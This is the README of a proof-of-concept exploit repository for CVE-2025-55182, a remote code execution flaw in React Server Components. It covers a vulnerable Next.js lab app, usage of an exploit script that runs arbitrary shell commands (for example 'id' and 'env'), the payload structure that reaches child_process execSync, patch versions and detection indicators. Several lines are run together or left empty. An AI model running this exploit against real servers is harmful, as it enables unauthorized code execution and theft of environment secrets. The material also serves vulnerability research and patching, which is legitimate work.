
POC for React2Shell (CVE-2025-55182)
This repository contains a proof of concept for CVE-2025-55182, a critical remote code execution vulnerability in React Server Components. This is for authorized security testing and research purposes only.
React:
Next.js:
The vulnerability exploits unsafe deserialization in the React Server Components Flight protocol. When a server receives a specially crafted payload, it fails to properly validate the structure before deserializing, allowing attacker-controlled data to manipulate server-side execution.
then methodprocess.mainModule.require('child_process')npm install
npm run dev
The server will start on http://localhost:3000
app/
├── page.js # Main page with ServerForm
├── ServerForm.js # Client component with form
├── actions.js # Vulnerable Server Action
└── layout.js # Root layout
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: Target URL (required)-c, --command: Shell command to execute (default: id)--check-only: Only check if target appears vulnerableCheck if target is vulnerable:
python3 exploit.py -t http://localhost:3000 --check-only
Execute arbitrary commands:
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"
# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"
The exploit uses multipart form-data with:
Field "0": Malicious JSON with custom 'then' handler
Field "1": Reference to field 0 ($@0)
Header: Next-Action: x (triggers RSC processing)
The payload manipulates the internal _response object to execute:
process.mainModule.require('child_process').execSync('<command>')
Update React:
npm install [email protected] [email protected]
Update Next.js:
npm install [email protected] # or latest patched version
Next-Action header$@ referencesthen properties in request bodiesPOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@
This proof of concept is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. The authors assume no liability for misuse of this information.
DO NOT:
MIT License - For Security Research Purposes Only